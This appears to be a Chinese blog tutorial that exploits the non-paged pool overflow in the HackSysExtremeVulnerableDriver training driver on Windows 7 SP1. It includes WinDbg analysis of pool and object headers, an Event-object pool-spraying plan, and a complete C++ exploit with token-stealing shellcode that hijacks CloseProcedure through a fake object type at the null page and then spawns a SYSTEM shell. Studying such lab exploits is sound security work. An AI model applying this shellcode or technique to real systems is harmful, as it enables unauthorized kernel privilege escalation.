0%

HEVD BufferOverflowNonPagedPool [win7sp1]

HEVD系列第三类漏洞BufferOverflowNonPagedPool

漏洞分析#

漏洞点#

img

可以看到问题在于使用RtlCopyMemory函数将用户buffer内容拷贝到内核中时,使用的buffer长度为用户buffer的长度而不是内核buffer的长度,因此当用户buffer长度过长时,出现了非分页池溢出。

非分页池#

当我们在windows下创建一些对象时,系统会从非分页池中分配区域来保存该对象。除了该对象外,还会分配一个内存头来存储系统管理这块内存需要的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
kernel32 = windll.kernel32
ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)

buf = "A" * 504
buf_ad = id(buf) + 20

spray_event1 = []

for i in xrange(20):
spray_event1.append(kernel32.CreateEventA(None, False, False, None))
events = [hex(event) for event in spray_event1]
print(events)
kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)
input("pause")

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
kd> !process 0 0 python.exe
PROCESS 876acb30 SessionId: 1 Cid: 05ec Peb: 7ffde000 ParentCid: 0bfc
DirBase: 3e88a460 ObjectTable: e11785c8 HandleCount: 64.
Image: python.exe
kd> .process 876acb30
Implicit process is now 876acb30
WARNING: .cache forcedecodeuser is not enabled
kd> !handle 0xa4

PROCESS 876acb30 SessionId: 1 Cid: 05ec Peb: 7ffde000 ParentCid: 0bfc
DirBase: 3e88a460 ObjectTable: e11785c8 HandleCount: 64.
Image: python.exe

Handle table at e11785c8 with 64 entries in use

00a4: Object: 8772cd38 GrantedAccess: 001f0003 Entry: a2332148
Object: 8772cd38 Type: (85613bc0) Event
ObjectHeader: 8772cd20 (new version)
HandleCount: 1 PointerCount: 1


kd> !pool 8772cd38
Pool page 8772cd38 region is Nonpaged pool
8772c000 size: 1a0 previous size: 0 (Allocated) TdxC
8772c1a0 size: 8 previous size: 1a0 (Free) NSpg
8772c1a8 size: 58 previous size: 8 (Allocated) IPsi
8772c200 size: 8 previous size: 58 (Free) NSpg
8772c208 size: 48 previous size: 8 (Allocated) Vad
8772c250 size: 48 previous size: 48 (Allocated) Vad
8772c298 size: 78 previous size: 48 (Allocated) WfpL
8772c310 size: 10 previous size: 78 (Free) usbp
8772c320 size: 2e8 previous size: 10 (Allocated) Thre (Protected)
8772c608 size: 8 previous size: 2e8 (Free) CcSc
8772c610 size: 48 previous size: 8 (Allocated) Vad
8772c658 size: 10 previous size: 48 (Free) Even
8772c668 size: 48 previous size: 10 (Allocated) Vad
8772c6b0 size: 40 previous size: 48 (Allocated) Even (Protected)
8772c6f0 size: 48 previous size: 40 (Allocated) Vad
8772c738 size: f8 previous size: 48 (Allocated) MmCi
8772c830 size: 18 previous size: f8 (Free) CcWk
8772c848 size: 40 previous size: 18 (Allocated) Even (Protected)
8772c888 size: 118 previous size: 40 (Allocated) MmCi
8772c9a0 size: c8 previous size: 118 (Allocated) Ntfx
8772ca68 size: 48 previous size: c8 (Allocated) Vad
8772cab0 size: 48 previous size: 48 (Allocated) Vad
8772caf8 size: 78 previous size: 48 (Allocated) MmCa
8772cb70 size: 40 previous size: 78 (Allocated) Even (Protected)
8772cbb0 size: 40 previous size: 40 (Allocated) Even (Protected)
8772cbf0 size: 40 previous size: 40 (Allocated) Even (Protected)
8772cc30 size: 40 previous size: 40 (Allocated) Even (Protected)
8772cc70 size: 18 previous size: 40 (Free) CcWk
8772cc88 size: 40 previous size: 18 (Allocated) Even (Protected)
8772ccc8 size: 40 previous size: 40 (Allocated) Even (Protected)
*8772cd08 size: 40 previous size: 40 (Allocated) *Even (Protected)
Pooltag Even : Event objects
8772cd48 size: 90 previous size: 40 (Allocated) MmCa
8772cdd8 size: 68 previous size: 90 (Allocated) EtwR (Protected)
8772ce40 size: 68 previous size: 68 (Allocated) EtwR (Protected)
8772cea8 size: 68 previous size: 68 (Allocated) EtwR (Protected)
8772cf10 size: 68 previous size: 68 (Allocated) EtwR (Protected)
8772cf78 size: 20 previous size: 68 (Allocated) ReTa
8772cf98 size: 68 previous size: 20 (Allocated) FMsl

可以看到分配的Event对象都在非分页池中,大小为0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
kd> dd 8772cd08
8772cd08 04080008 ee657645 00000000 00000040
8772cd18 00000000 00000000 00000001 00000001
8772cd28 00000000 0008000c 87420a80 00000000
8772cd38 00040001 00000000 8772cd40 8772cd40
kd> dt nt!_POOL_HEADER 8772cd08
+0x000 PreviousSize : 0y000001000 (0x8)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080008
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8772cd08+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nt!_OBJECT_HEADER 8772cd08+8+0x10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x87420a80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x87420a80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD

img

  • 红色:pool header
  • 黄色:object header quota info
  • 蓝色:object header
  • 绿色:object body

img

在对象的头里面,还存着TypeIndex和InfoMask信息。TypeIndex代表该对象的object type在ObTypeIndexTable中的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
kd> dd nt!obtypeindextable
83f81900 00000000 bad0b0b0 855338c8 85533800
83f81910 85533738 855334f0 855f8040 855f8f78
83f81920 855f8eb0 855f8de8 855f8d20 855f8668
83f81930 85613bc0 85613840 85613440 8560c418
83f81940 8560c350 8560d418 8560d350 8561b430
83f81950 8561b368 8560e9b8 8560e8f0 8560e828
83f81960 8560e760 8560e698 8560e5d0 8560e508
83f81970 8560e440 85610f78 85610eb0 85610de8
kd> dt nt!_object_type 85613bc0
+0x000 TypeList : _LIST_ENTRY [ 0x85613bc0 - 0x85613bc0 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0xea9
+0x01c TotalNumberOfHandles : 0xefa
+0x020 HighWaterNumberOfObjects : 0x109c
+0x024 HighWaterNumberOfHandles : 0x1115
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x85613c40 - 0x85613c40 ]
kd> dx -id 0,0,876acb30 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x85613be8))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x85613be8)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x840a35b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]

通过偏移就可以看到Event对象类型的结构信息了,其中CloseProcedure是我们后面需要用到的一个回调函数

漏洞利用#

我们的kernel buffer存在于非分页池中,大小为0x200(0xf8用户可使用大小+0x8 pool header)。

  1. 通过堆风水,使得Event对象正好在kernel buffer的后方,确保Event对象可以被溢出覆盖
  2. 覆盖 kernel buffer 后紧跟的 Event 对象的 object header 中的 TypeIndex 的值为 0x00。
  3. ObTypeIndexTable[0]的值为0x00000000。0x0地址理论上是一个不可读写的地址,用于预防程序员对NULL进行操作。0x0-0xFFFF是空闲区域。在用户模式下,可以通过 NtAllocateVirtualMemory 来分配这个空间,用 WriteProcessMemory 来覆盖这段地址的内存空间。
  4. 我们可以在0地址处伪造一个objectType,使得该对象类型的CloseProcedure指向shellcode
  5. 调用CloseHandle执行shellcode

堆风水#

一个Event的大小是0x40,而kernel buffer的大小是0x200,也就是等于8个Event的大小。

  1. 不断分配小内存,占满零碎空间,使得0x200无法放入其中,此时可以认为剩下的空间时连续的一块大空间
  2. 分配Event,占满所有空间,此时Event应该都是连续的内存
  3. 从这些Event中,假设16个为一组,释放每组的前8个Event,空出0x200的空间
  4. 触发HEVD,分配0x200的kernel buffer,此时必然有一组中的0x200被占用,且后面紧跟一个Event

控制流劫持#

覆盖 TypeIndex为0,在0x0-0xFFFF中将伪造类型的CloseProcedure地址填为shellcode地址
释放所有Event,必然有一个Event在Close的时候会执行我们布置的shellcode,注意这里的CloseProcedure地址其实就是0x60,因为TypeInfo在nt!_object_type中偏移为0x28,而CloseProcedure在TypeInfo中的偏移为0x38,所以CloseProcedure地址为0x60

C++ exp (VS2017)#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include<Windows.h>
#include<stdio.h>
typedef NTSTATUS(WINAPI * NtAllocateVirtualMemory_t) (HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);

char shellcode[] = {

"\x90\x90\x90\x90" // NOP Sled
"\x60" // pushad
"\x31\xc0" // xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax,[fs:eax+0x124]
"\x8b\x40\x50" // mov eax,[eax+0x50]
"\x89\xc1" // mov ecx,eax
"\xba\x04\x00\x00\x00" // mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" // mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp [eax+0xb4],edx
"\x75\xed" // jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" // mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0xf8],edx
"\x61" // popad

"\xC2\x10\x00" // ret 16
};

HANDLE OpenDriver() {
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}
return hevd;
}

int main()
{
char *payload = (char *)malloc(0x1f8 + 40);
memset(payload, 'A', 0x1f8);
/*
kd> dd 8772cd08
8772cd08 04080008 ee657645 00000000 00000040
8772cd18 00000000 00000000 00000001 00000001
8772cd28 00000000 0008000c 87420a80 00000000
8772cd38 00040001 00000000 8772cd40 8772cd40
*/
// 伪造object type
char *temp = payload + 0x1f8;
*(PULONG)temp = (ULONG)0x04080040;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0xee657645;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000040;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000001;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000001;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00080000;

// 写入shellcode到0地址
LPVOID ptr = VirtualAlloc(0, sizeof(shellcode), 0x3000, 0x40);
RtlCopyMemory(ptr, shellcode, sizeof(shellcode));

HMODULE hmodule = LoadLibraryA("ntdll.dll");

NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hmodule, "NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL) {
wprintf(L"getprocaddress failed\n");
return 0;
}

PVOID baseAddress = (PVOID)1;
ULONG regionsize = 0x100;
NTSTATUS status = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, &regionsize, 0x3000, 0x40);

if (status != 0) {
wprintf(L"alloc failed,error code is:%u\n", status);
return 0;
}
// 0x60地址处写入shellcode 位置,0x60 = 0x28(TypeInfo在_object_type中的偏移) + 0x38(CloseProcedure在TypeInfo中的偏移)
if (!WriteProcessMemory((HANDLE)0xFFFFFFFF, (LPVOID)0x60, &ptr, 0x4, NULL)) {
wprintf(L"write failed\n");
return 0;
}

// 堆风水
int i = 0;
int j = 0;
HANDLE spray1[10000];
HANDLE spray2[5000];

for (i = 0; i < 10000; i++) {
spray1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (i = 0; i < 5000; i++) {
spray2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}

for (i = 0; i < (sizeof(spray2) / sizeof(HANDLE)); i = i + 16) {
for (j = 0; j < 8; j++) {
CloseHandle(spray2[i + j]);
}
}

// 触发shellcode
HANDLE hevd = OpenDriver();
DWORD lpBytesReturned = 0;
DeviceIoControl(hevd, 0x22200f, payload, 0x1f8 + 40, NULL, 0, &lpBytesReturned, NULL);

for (i = 8; i < (sizeof(spray2) / sizeof(HANDLE)); i = i + 16) {
for (j = 0; j < 8; j++) {
CloseHandle(spray2[i + j]);
}
}

for (i = 0; i < 10000; i++) {
CloseHandle(spray1[i]);
}
system("cmd.exe");
return 0;
}

参考资料#

坚持原创技术分享,您的支持将鼓励我继续创作!